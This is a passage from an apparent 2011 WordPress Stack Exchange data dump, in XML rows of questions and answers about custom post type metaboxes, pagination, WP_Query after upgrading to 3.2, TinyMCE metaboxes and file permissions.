rel=&quot;nofollow&quot;&gt;Changing File Permissions&lt;/a&gt;, but I think you'll find the first article most helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short excerpt from the Codex article...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some of WordPress' cool features come from allowing some files to be writable by web server. However, letting an application have write access to your files is a dangerous thing, particularly in a public environment.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is best, from a security perspective, to lock down your file permissions as much as possible and to loosen those restrictions on the occasions that you need to allow write access, or to create special folders with more lax restrictions for the purpose of doing things like uploading images.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here is one possible permission scheme.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All files should be owned by your user account, and should be writable by you. Any file that needs write access from WordPress should be group-owned by the user account used by the webserver.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... much more goodness in those articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="6737" LastActivityDate="2011-07-08T22:51:34.647" />
  <row Id="22455" PostTypeId="2" ParentId="22453" CreationDate="2011-07-08T23:22:35.823" Score="0" ViewCount="" Body="&lt;p&gt;Try changing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails', array( 'post' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IIRC, that array is &lt;em&gt;explicit&lt;/em&gt;, meaning that by including &lt;em&gt;only&lt;/em&gt; &lt;code&gt;post&lt;/code&gt;, everything else is &lt;em&gt;excluded&lt;/em&gt;. But if you omit the array, then post-thumbnail support is added for all post-types that support them.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-08T23:22:35.823" />
  <row Id="22456" PostTypeId="1" AcceptedAnswerId="22459" CreationDate="2011-07-08T23:35:49.043" Score="0" ViewCount="14" Body="&lt;p&gt;I have a custom post type for 'Teams' set up using the code below. However, the fields for 'Latest Discussion' and 'Next Fixture' isn't showing up in the dashboard. I went over the code numerous times and can't find anything wrong with it. I was hoping someone here could help me figure it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register Teams&#xA;add_action('init', 'register_teams');&#xA;&#xA;function register_teams() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Teams', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Team', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'team item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Team'),&#xA;        'edit_item' =&amp;gt; __('Edit Team'),&#xA;        'new_item' =&amp;gt; __('New Team'),&#xA;        'view_item' =&amp;gt; __('View Team'),&#xA;        'search_items' =&amp;gt; __('Search Teams'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/menu-teams.png',&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'thumbnail' ),&#xA;        'has_archive' =&amp;gt; true&#xA;      );&#xA;&#xA;    register_post_type( 'teams' , $args );&#xA;}&#xA;&#xA;// Add Fields&#xA;add_action(&quot;admin_init&quot;, &quot;add_teams_fields&quot;);&#xA;&#xA;function add_teams_fields(){&#xA;    add_meta_box(&quot;latest_discussion&quot;, &quot;Latest Discussion&quot;, &quot;latest_discussion&quot;, &quot;latest discussions&quot;, &quot;side&quot;, &quot;low&quot;);&#xA;    add_meta_box(&quot;next_fixture&quot;, &quot;Next Fixture&quot;, &quot;next_fixture&quot;, &quot;next fixture&quot;, &quot;side&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function latest_discussion(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $latest_discussion = $custom[&quot;latest_discussion&quot;][0];&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;Latest Discussion URL:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input size=&quot;40&quot; name=&quot;latest_discussion&quot; value=&quot;&amp;lt;?php echo $latest_discussion; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function next_fixture(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $next_fixture = $custom[&quot;next_fixture&quot;][0];&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;Next Fixture:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input size=&quot;40&quot; name=&quot;next_fixture&quot; value=&quot;&amp;lt;?php echo $next_fixture; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;// Save Fields&#xA;add_action('save_post', 'save_teams_details');&#xA;&#xA;function save_teams_details(){&#xA;    global $post;&#xA;    update_post_meta($post-&amp;gt;ID, &quot;latest_discussion&quot;, $_POST[&quot;latest_discussion&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;next_fixture&quot;, $_POST[&quot;next_fixture&quot;]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6881" LastActivityDate="2011-07-09T00:27:43.650" Title="Custom Post Type fields not showing in dashboard" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="22457" PostTypeId="1" AcceptedAnswerId="22486" CreationDate="2011-07-09T00:12:05.953" Score="1" ViewCount="60" Body="&lt;p&gt;I am developing a wordpress site (http://new.saffronresourcing.com/candidates/) where candidates who wants to apply for jobs will be able to upload their cv along with their personal details. I already created custom content type for job list which will be used for job listing. it working fine. Now there is a &quot;apply now&quot; button attached to all job listing. Problem is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when user clicks apply button, it goes to another page named uploadcv.php. Question is when I'm in uploadcv.page, I have no way to find which job listing page user came from. So I need a reference variable which will hold the current page job list ref. number and when user clicks apply now button it will carry out that variable and move to uploadcv.php page so I can save the details to the database along with that job reference number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any idea how to get the current page URL and pass to the next page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now as I said earlier candidates will upload their cv, I'm not sure whether how I am gonna add this CV (type .doc, .pdf) into mysql database. Is their any special code to insert the .pdf or .doc file to the database ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when the information will be added to the database , I also need to retrieve those details and display in wordpress dashboard so the admin of the site can view which candidates applied for which jobs. So i'm looking for some kind of options panel or candidates lists page where the data will come from database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in a nutshell, Please let me know if you guys know how to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get the current page URL and pass to next page&#xA;insert the values from details entry form to database and&#xA;retrieve the values and display into dashboard, somewhere in dashboard so admin can view the candidates list.&#xA;I'm aware there is a plugin exists wp job manager, but I have no clue how to use this plugin, couldn't find a proper documentation. So I decided I will not use this plugin and write code by myself. If you guys know about this plugin, let me know how did you use this for job listing purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2011-07-09T12:03:20.013" Title="How to: wordpress job listing and candidates details" Tags="&lt;jobboard&gt;" AnswerCount="1" />
  <row Id="22458" PostTypeId="1" CreationDate="2011-07-09T00:21:54.947" Score="0" ViewCount="40" Body="&lt;p&gt;// Nevermind, figured it out! I forgot to add &lt;code&gt;paged&lt;/code&gt; to the query. I've updated it below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the pagination, when I click on the next page, it stays on the first page but &lt;code&gt;/page/2/&lt;/code&gt; gets reflected in the url of the address bar. Below is how I have my template set up and I've also included the &lt;code&gt;my_paginate_links&lt;/code&gt; function below that. If anyone can spot the problem, please let me know. I've been racking my brain over this. =/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Store&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_header();?&amp;gt;&#xA;&#xA;            &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    $temp = $wp_query;&#xA;                    $wp_query = null;&#xA;                    $wp_query = new WP_Query();&#xA;                    $wp_query-&amp;gt;query('post_type=store&amp;amp;posts_per_page=6');&#xA;&#xA;                    while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt; content goes here &amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    endwhile; &#xA;                    my_paginate_links();&#xA;                    $wp_query = null;&#xA;                    $wp_query = $temp;&#xA;                    wp_reset_query();&#xA;                ?&amp;gt;&#xA;&#xA;            &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Function for &lt;code&gt;my_paginate_links&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_paginate_links() {&#xA;  global $wp_rewrite, $wp_query;&#xA;  $wp_query-&amp;gt;query_vars['paged'] &amp;gt; 1 ? $current = $wp_query-&amp;gt;query_vars['paged'] : $current = 1;&#xA;  $pagination = array(&#xA;    'base' =&amp;gt; @add_query_arg('page','%#%'),&#xA;        'format' =&amp;gt; '',&#xA;        'total' =&amp;gt; $wp_query-&amp;gt;max_num_pages,&#xA;        'current' =&amp;gt; $current,&#xA;        'prev_text' =&amp;gt; __(''),&#xA;        'next_text' =&amp;gt; __('next &amp;amp;raquo;'),&#xA;        'end_size' =&amp;gt; 1,&#xA;        'mid_size' =&amp;gt; 2,&#xA;        'show_all' =&amp;gt; true,&#xA;        'type' =&amp;gt; 'list'&#xA;    );&#xA;    if ( $wp_rewrite-&amp;gt;using_permalinks() )&#xA;            $pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg( 's', get_pagenum_link( 1 ) ) ) . 'page/%#%/', 'paged' );&#xA;    if ( !empty( $wp_query-&amp;gt;query_vars['s'] ) )&#xA;            $pagination['add_args'] = array( 's' =&amp;gt; get_query_var( 's' ) );&#xA;    echo paginate_links( $pagination );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the answer!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Store&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_header();?&amp;gt;&#xA;&#xA;            &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    $temp = $wp_query;&#xA;                    $wp_query = null;&#xA;                    $wp_query = new WP_Query();&#xA;                    $wp_query-&amp;gt;query('post_type=store&amp;amp;paged=' . $paged . '&amp;amp;posts_per_page=6');&#xA;&#xA;                    while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt; content goes here &amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                    endwhile; &#xA;                    my_paginate_links();&#xA;                    $wp_query = null;&#xA;                    $wp_query = $temp;&#xA;                    wp_reset_query();&#xA;                ?&amp;gt;&#xA;&#xA;            &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6884" LastActivityDate="2011-07-09T00:21:54.947" Title="pagination doesn't work" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;" />
  <row Id="22459" PostTypeId="2" ParentId="22456" CreationDate="2011-07-09T00:27:43.650" Score="0" ViewCount="" Body="&lt;p&gt;The fourth argument for &lt;code&gt;add_meta_box()&lt;/code&gt; is the context, which in this case would be &lt;code&gt;teams&lt;/code&gt;, not &lt;code&gt;latest discussion&lt;/code&gt; or &lt;code&gt;next fixture&lt;/code&gt; as you have here. Also, since you want these metaboxes to show on the new and edit screens for your CPT only, it's easiest to register a metabox callback for your specific CPT and get rid of the action on &lt;code&gt;admin_init&lt;/code&gt;. Add it to your $args array, e.g. &lt;code&gt;'register_meta_box_cb' =&amp;gt; 'prefix_teams_cpt_add_metaboxes'&lt;/code&gt;. So, a modified version of your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register Teams&#xA;add_action('init', 'register_teams');&#xA;&#xA;function register_teams() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Teams', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Team', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'team item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Team'),&#xA;        'edit_item' =&amp;gt; __('Edit Team'),&#xA;        'new_item' =&amp;gt; __('New Team'),&#xA;        'view_item' =&amp;gt; __('View Team'),&#xA;        'search_items' =&amp;gt; __('Search Teams'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/menu-teams.png',&#xA;        'supports' =&amp;gt; array( 'title', 'editor', 'thumbnail' ),&#xA;        'has_archive' =&amp;gt; true,&#xA;        'register_meta_box_cb' =&amp;gt; 'prefix_teams_cpt_add_metaboxes'&#xA;      );&#xA;&#xA;    register_post_type( 'teams' , $args );&#xA;}&#xA;&#xA;// Add Metaboxes&#xA;function prefix_teams_cpt_add_metaboxes(){&#xA;    add_meta_box(&quot;latest_discussion&quot;, &quot;Latest Discussion&quot;, &quot;prefix_latest_discussion_metabox&quot;, &quot;teams&quot;, &quot;side&quot;, &quot;low&quot;);&#xA;    add_meta_box(&quot;next_fixture&quot;, &quot;Next Fixture&quot;, &quot;prefix_next_fixture_metabox&quot;, &quot;teams&quot;, &quot;side&quot;, &quot;low&quot;);&#xA;}&#xA;&#xA;function prefix_latest_discussion_metabox(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $latest_discussion = $custom[&quot;latest_discussion&quot;][0];&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;Latest Discussion URL:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input size=&quot;40&quot; name=&quot;latest_discussion&quot; value=&quot;&amp;lt;?php echo $latest_discussion; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function prefix_next_fixture_metabox(){&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $next_fixture = $custom[&quot;next_fixture&quot;][0];&#xA;    ?&amp;gt;&#xA;    &amp;lt;label&amp;gt;Next Fixture:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;input size=&quot;40&quot; name=&quot;next_fixture&quot; value=&quot;&amp;lt;?php echo $next_fixture; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;// Save Fields&#xA;add_action('save_post', 'prefix_save_teams_details');&#xA;&#xA;function prefix_save_teams_details(){&#xA;    global $post;&#xA;    update_post_meta($post-&amp;gt;ID, &quot;latest_discussion&quot;, $_POST[&quot;latest_discussion&quot;]);&#xA;    update_post_meta($post-&amp;gt;ID, &quot;next_fixture&quot;, $_POST[&quot;next_fixture&quot;]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I've changed some function names - be sure that you always prefix your functions, and it's way easier to keep track of things like a metabox creating function if the name really describes what it does.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-07-09T00:27:43.650" CommentCount="1" />
  <row Id="22460" PostTypeId="1" CreationDate="2011-07-09T01:35:44.700" Score="0" ViewCount="23" Body="&lt;p&gt;Say a plugin creates a custom taxonomy and attaches it to some custom post type. Is there a safe way to attach that same taxonomy to Posts?&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2011-07-09T11:53:52.877" Title="Attaching a Custom Taxonomy to Posts?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="22461" PostTypeId="1" CreationDate="2011-07-09T01:48:24.127" Score="0" ViewCount="64" Body="&lt;p&gt;How could wp-query be used to show posts month by month, and have it only show the past year? Or is it possible some wp_archive hack could handle this?&lt;/p&gt;&#xA;" OwnerUserId="6886" LastActivityDate="2011-08-09T07:21:27.360" Title="How to display posts month by month?" Tags="&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="22462" PostTypeId="1" AcceptedAnswerId="22469" CreationDate="2011-07-09T01:50:12.310" Score="0" ViewCount="73" Body="&lt;p&gt;I created a custom loop using WP_Query for my featured content slider. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$slider_query = new WP_Query();&#xA;$slider_query-&amp;gt;query(&quot;posts_per_page=5&amp;amp;tag=&quot;.(get_option('cgr_slider_tag'))&quot; &quot;);?&amp;gt;&#xA;&amp;lt;?php while ($slider_query-&amp;gt;have_posts()) : $slider_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;article class=&quot;slide-item &quot;&amp;gt;&#xA;&#xA;     ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine in previous 3.1.4 , but after upgraded to 3.2 that code is just didn't work. No error found in WP_Debug mode, and Then i try to directly assign the tag name without using the get_option :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$slider_query = new WP_Query();&#xA;$slider_query-&amp;gt;query(&quot;posts_per_page=5&amp;amp;tag=tag1&quot;);?&amp;gt;&#xA;&amp;lt;?php while ($slider_query-&amp;gt;have_posts()) : $slider_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA; &amp;lt;article class=&quot;slide-item &quot;&amp;gt;&#xA;&#xA;&#xA;  ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works, so i assume the problem is the get_option thing. I've checked the database and other part of the theme that also using get_option and found no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start thinking that the problem is  I didn't code the get_option part correctly, i'm php noob so maybe it's about encapsed string or others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6859" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T14:46:48.580" LastActivityDate="2011-07-09T14:46:48.580" Title="My WP_Query didn't work after upgrading to WordPress 3.2" Tags="&lt;wp-query&gt;&lt;upgrade&gt;&lt;get-option&gt;" AnswerCount="2" />
  <row Id="22463" PostTypeId="1" CreationDate="2011-07-09T02:12:44.180" Score="0" ViewCount="13" Body="&lt;p&gt;I would like to know how to set up a WP site to allow users (assume they have been given a user name and password) to upload pics and leave comments on any others pics on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No other access allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="6887" LastActivityDate="2011-07-09T02:12:44.180" Title="Uploading Pictures to WP Site - Allow Comments on All Pics But Restrict Users From Doing Anything Else" Tags="&lt;plugins&gt;" />
  <row Id="22465" PostTypeId="2" ParentId="22461" CreationDate="2011-07-09T03:32:58.533" Score="0" ViewCount="" Body="&lt;p&gt;Well it's not a hack it's a function. You can simply use &lt;code&gt;wp_get_archives&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_archives&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use a &lt;code&gt;wp_query&lt;/code&gt; with a time format for actual content, for instance, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//December&#xA;$query = new WP_Query( 'monthnum=12' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Time_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Time_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-09T03:32:58.533" />
  <row Id="22466" PostTypeId="1" CreationDate="2011-07-09T04:45:44.810" Score="1" ViewCount="151" Body="&lt;p&gt;I want something very simple: a custom metabox with a TinyMCE editor in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code help me achieve that easily in 3.1.4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes', 'add_metaname_box');&#xA;function add_metaname_box() {&#xA;    add_meta_box(&#xA;        'metaname_id',&#xA;        __( 'metaname text', 'metaname_textdomain'),&#xA;        'metaname_custom_box',&#xA;        'post'&#xA;    );&#xA;}&#xA;&#xA;function metaname_custom_box() {&#xA;    global $post;&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), 'metaname_noncename' );&#xA;    $data = get_post_meta($post-&amp;gt;ID, 'metaname_custom_box', true);&#xA;    echo &amp;lt;&amp;lt;&amp;lt;EOT&#xA;    &amp;lt;textarea id=&quot;metaname_custom_box&quot; name=&quot;metaname_custom_box&quot; class=&quot;theEditor&quot;&amp;gt;$data&amp;lt;/textarea&amp;gt;&#xA;EOT;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what it looked like:&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/qaWCI.png&quot; alt=&quot;Visual editor in custom meta box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that this code is no longer works after I &lt;strong&gt;upgraded from 3.1.4 to 3.2&lt;/strong&gt;.&#xA;This is the result for the same code after upgrading to 3.2:&lt;br&gt;&#xA;&lt;img src=&quot;http://i.imgur.com/1aaza.png&quot; alt=&quot;Regular textfield in custom meta box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML code for TinyMCE is not generated anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I noticed that this piece of code still works fine in &lt;strong&gt;a fresh installation of WP 3.2&lt;/strong&gt;. This is the result of the code in fresh installation:&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/5mmZc.png&quot; alt=&quot;Visual editor in 3.2 style in custom meta box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me why my code works fine with 3.1.4 and fresh 3.2, but not in the 3.2 upgraded from 3.1.4 ? How to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="6783" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T14:46:37.630" LastActivityDate="2011-07-15T17:14:07.337" Title="TinyMCE in Custom Metabox not loaded after upgrading from WP 3.1.4 to WP 3.2" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;upgrade&gt;&lt;visual-editor&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="22467" PostTypeId="2" ParentId="6600" CreationDate="2011-07-09T05:11:20.357" Score="0" ViewCount="" Body="&lt;p&gt;Take a look here &lt;a href=&quot;http://kaarel.sikk.info/archives/121&quot; rel=&quot;nofollow&quot;&gt;http://kaarel.sikk.info/archives/121&lt;/a&gt; (Using Galeriffic in NextGen Gallery template) &lt;/p&gt;&#xA;" OwnerUserId="6891" LastActivityDate="2011-07-09T05:11:20.357" />
  <row Id="22468" PostTypeId="2" ParentId="22462" CreationDate="2011-07-09T07:18:33.690" Score="0" ViewCount="" Body="&lt;p&gt;Are you sure the option is set? Maybe when you upgraded it reseted that option in the database&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-07-09T07:18:33.690" />
  <row Id="22469" PostTypeId="2" ParentId="22462" CreationDate="2011-07-09T07:30:36.503" Score="2" ViewCount="" Body="&lt;p&gt;this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$slider_query-&amp;gt;query(&quot;posts_per_page=5&amp;amp;tag=&quot;.(get_option('cgr_slider_tag'))&quot; &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$slider_query-&amp;gt;query(&quot;posts_per_page=5&amp;amp;tag=&quot;.(get_option('cgr_slider_tag')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-09T07:30:36.503" CommentCount="1" />
  <row Id="22470" PostTypeId="1" AcceptedAnswerId="22474" CreationDate="2011-07-09T07:46:30.220" Score="0" ViewCount="39" Body="&lt;p&gt;I'm gonna create a new site. I want to make the site as user generate able content site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically this is my site's function. Users signup in my wordpress site, Submit content from wp-admin panel, some points will be given if the post approved by admin, later those points will be converted into some cash money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i need some advise. I heard wordpress has low security. If i let the users to create content from wp-admin, will they hack my site? is it good or bad to let them use wp-admin area? Is it possible to make those user content submission form from frontend? &#xA;I'm not interested in plugin like TDO Mini Forms. Because i need points system.&#xA;Some tips needed. Thanks in advance   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: &lt;strong&gt;Can i use buddypress to achieve this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-07-09T09:15:38.353" LastActivityDate="2011-07-09T09:15:38.353" Title="User generated content and security" Tags="&lt;security&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="22471" PostTypeId="2" ParentId="22434" CreationDate="2011-07-09T08:42:34.397" Score="5" ViewCount="" Body="&lt;p&gt;Supporting old versions of WordPress seems reasonable, but is it really necessary? Personally, I think supporting old versions is waste of efforts and time and it prevents end-users from updating their WordPress installs. What's the point of being a WordPress developer if you're encouraging users to remain using insecure and out-of-date versions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just adding a function that checks the version of the DB/WP version and displaying a warning message if the site is running outdated version will remind the user to update; everybody knows how to update WordPress these days--just a couple of clicks and WoW, WP is running the latest version.&lt;/p&gt;&#xA;" OwnerUserId="2474" LastActivityDate="2011-07-09T08:42:34.397" CommunityOwnedDate="2011-07-09T08:42:34.397" />
  <row Id="22472" PostTypeId="1" AcceptedAnswerId="22476" CreationDate="2011-07-09T08:44:58.503" Score="0" ViewCount="107" Body="&lt;p&gt;I am looking for a solution to returning multiple get_post_meta values...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current I am using a meta box array as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_boxes[] = array(&#xA;'id' =&amp;gt; 'setlist',&#xA;'title' =&amp;gt; 'Setlist Information',&#xA;'pages' =&amp;gt; array('post'),&#xA;'fields' =&amp;gt; array(&#xA;    array(&#xA;        'name' =&amp;gt; 'Setlist 1',                  // field name&#xA;        'desc' =&amp;gt; 'Entry 1',                                    // field description, optional&#xA;        'id' =&amp;gt; $prefix . 'setlist_1',              // field id, i.e. the meta key&#xA;        'type' =&amp;gt; 'text',                   // text box&#xA;        'std' =&amp;gt; '',                                            // default value, optional&#xA;        'style' =&amp;gt; 'width: 100px',              // custom style for field, added in v3.1&#xA;    ),&#xA;            array(&#xA;        'name' =&amp;gt; 'Setlist 2',                  &#xA;        'desc' =&amp;gt; 'Entry 2',                                    &#xA;        'id' =&amp;gt; $prefix 